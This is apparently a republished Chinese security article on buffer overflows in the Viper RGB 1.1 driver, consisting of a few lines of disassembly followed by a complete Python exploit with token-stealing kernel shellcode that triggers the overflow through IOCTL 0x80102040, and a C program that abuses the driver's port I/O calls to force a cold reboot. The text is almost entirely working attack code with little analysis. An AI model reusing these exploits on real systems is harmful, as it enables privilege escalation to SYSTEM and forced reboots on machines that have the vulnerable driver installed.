對 Viper RGB 驅(qū)動多個緩沖區(qū)溢出漏洞的分析
作者：h1apwn
在處理IoControlCode 0x80102040時，在Viper驅(qū)動程序RGB 1.1版中發(fā)現(xiàn)緩沖區(qū)溢出漏洞。
- .text:0000000000001518 lea rcx, aIrpMjDeviceCon ; "IRP_MJ_DEVICE_CONTROL"
- .text:000000000000151F call DbgPrint
- .text:0000000000001524 mov r11d, [rbp+18h]
- .text:0000000000001528 cmp r11d, 80102040h
- .text:000000000000152F jz loc_16D4
- .text:00000000000016E8 lea rcx, [rsp+78h+Src] ; Dst
- .text:00000000000016ED mov r8, rbx ; MaxCount
- .text:00000000000016F0 mov rdx, rsi ; Src
- .text:00000000000016F3 call memmove
- #!/usr/bin/env python
- import struct, sys, os
- from ctypes import *
- from ctypes.wintypes import *
- import os
- import struct
- import sys
- from ctypes import wintypes
- GENERIC_READ = 0x80000000
- GENERIC_WRITE = 0x40000000
- GENERIC_EXECUTE = 0x20000000
- GENERIC_ALL = 0x10000000
- FILE_SHARE_DELETE = 0x00000004
- FILE_SHARE_READ = 0x00000001
- FILE_SHARE_WRITE = 0x00000002
- CREATE_NEW = 1
- CREATE_ALWAYS = 2
- OPEN_EXISTING = 3
- OPEN_ALWAYS = 4
- TRUNCATE_EXISTING = 5
- HEAP_ZERO_MEMORY=0x00000008
- MEM_COMMIT = 0x00001000
- MEM_RESERVE = 0x00002000
- PAGE_EXECUTE_READWRITE = 0x00000040
- ntdll = windll.ntdll
- kernel32 = windll.kernel32
- ntdll.NtAllocateVirtualMemory.argtypes = [c_ulonglong, POINTER(c_ulonglong), c_ulonglong, POINTER(c_ulonglong),c_ulonglong,c_ulonglong]
- kernel32.WriteProcessMemory.argtypes = [c_ulonglong, c_ulonglong, c_char_p, c_ulonglong, POINTER(c_ulonglong)]
- GetProcAddress = kernel32.GetProcAddress
- GetProcAddress.restype = c_ulonglong
- GetProcAddress.argtypes = [c_ulonglong, wintypes.LPCSTR]
- GetModuleHandleA = kernel32.GetModuleHandleA
- GetModuleHandleA.restype = wintypes.HMODULE
- GetModuleHandleA.argtypes = [wintypes.LPCSTR]
- k32Dll=GetModuleHandleA("kernel32.dll")
- print "0x%X"%(k32Dll)
- if (not k32Dll) :
- print ("[-] Failed To get module handle kernel32.dll\n")
- WinExec=GetProcAddress(k32Dll, "WinExec")
- print "0x%X"%(WinExec)
- if (not WinExec) :
- print ("[-] Failed To get WinExec address.dll\n")
- print "WinExec = 0x%x"%WinExec
- raw_input()
- buf = kernel32.VirtualAlloc(c_int(0x0),c_int(0x824),c_int(0x3000),c_int(0x40))
- shellcode="\x90\x90\x65\x48\x8B\x14\x25\x88\x01\x00\x00\x4C\x8B\x42\x70\x4D\x8B\x88\x88\x01\x00\x00\x49\x8B\x09\x48\x8B\x51\xF8\x48\x83\xFA\x04\x74\x05\x48\x8B\x09\xEB\xF1\x48\\x8b\\x81\\x80\\x00\\x00\\x00\\x24\\xf0\\x49\\x89\\x80\\x08\\x02\\x00\\x00\\x48\\x31\\xc0\\x48\\x81\\xc4\\x28\\x01\\x00\x00\xc3"
- #STARTS HERE
- written = c_ulonglong(0)
- dwReturn = c_ulong()
- hDevice = kernel32.CreateFileA(r"\\.\Msio",GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, None, OPEN_EXISTING, 0, None )
- print "[+] buffer address: 0x%X" % buf
- data= "\xeb\x4e" + 0x46 * "A" + struct.pack("<Q",int(buf)) + shellcode
- print "%r"%data
- kernel32.RtlMoveMemory(c_int(buf),data,c_int(len(data)))
- bytes_returned = wintypes.DWORD(0)
- h=wintypes.HANDLE(hDevice)
- b=wintypes.LPVOID(buf)
- #TRIGGER
- dev_ioctl = kernel32.DeviceIoControl(hDevice, 0x80102040, b, 80, None, 0,byref(dwReturn), None)
- os.system("calc.exe")
- kernel32.CloseHandle(hDevice)
- #include
- #include
- #define IOCTL_READ_IOPORT 0x80102050
- #define IOCTL_WRITE_IOPORT 0x80102054
- HANDLE GetDriverHandle(LPCSTR driverName)
- {
- HANDLE hDriver = CreateFile(driverName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
- if (hDriver == INVALID_HANDLE_VALUE)
- {
- printf("Failed GetDriverHandle.\nError code:%d\n", GetLastError());
- exit(1);
- }
- return hDriver;
- }
- BYTE ReadPort(HANDLE hDriver, unsigned int port)
- {
- DWORD inBufferSize = 10;
- DWORD outBufferSize = 1;
- DWORD bytesReturned = 0;
- LPVOID inBuffer = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
- LPVOID outBuffer = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
- if (inBuffer == NULL)
- {
- printf("Failed to allocate inBuffer %d\n", GetLastError());
- return 1;
- }
- if (outBuffer == NULL)
- {
- printf("Failed to allocate outBuffer %d\n", GetLastError());
- return 1;
- }
- memcpy((char*)inBuffer, &port, 2);
- memset((char*)inBuffer + 6, 0x1, 1);
- BOOL retDevIoControl = DeviceIoControl(hDriver, IOCTL_READ_IOPORT, inBuffer, inBufferSize, outBuffer, outBufferSize, &bytesReturned, 0);
- if (retDevIoControl == 0)
- {
- printf("Failed DeviceIoControl\nError code:%d", GetLastError());
- return 1;
- }
- return (BYTE)(*((char*)outBuffer));
- }
- void WritePort(HANDLE hDriver, unsigned int port, BYTE data)
- {
- DWORD inBufferSize = 10;
- DWORD outBufferSize = 1;
- DWORD bytesReturned = 0;
- LPVOID inBuffer = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
- LPVOID outBuffer = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
- if (inBuffer == NULL)
- {
- printf("Failed to allocate inBuffer %d\n", GetLastError());
- exit(1);
- }
- if (outBuffer == NULL)
- {
- printf("Failed to allocate outBuffer %d\n", GetLastError());
- exit(1);
- }
- memcpy((char*)inBuffer, &port, 2);
- memcpy((char*)inBuffer + 2, &data, 1);
- memset((char*)inBuffer + 6, 0x1, 1);
- BOOL retDevIoControl = DeviceIoControl(hDriver, IOCTL_WRITE_IOPORT, inBuffer, inBufferSize, outBuffer, outBufferSize, &bytesReturned, 0);
- if (retDevIoControl == 0)
- {
- printf("Failed DeviceIoControl\nError code:%d", GetLastError());
- exit(1);
- }
- }
- int main(int argc, char** argv)
- {
- LPCSTR driverName = (LPCSTR)"\\\\.\\Msio";
- HANDLE hDriver = GetDriverHandle(driverName);
- BYTE portCF9 = ReadPort(hDriver, 0xcf9) & ~0x6;
- WritePort(hDriver, 0xcf9, portCF9 | 2);
- Sleep(50);
- WritePort(hDriver, 0xcf9, portCF9 | 0xe); // Cold Reboot
- CloseHandle(hDriver);
- return 0;
- }
責(zé)任編輯：姜華
來源：
嘶吼網(wǎng)
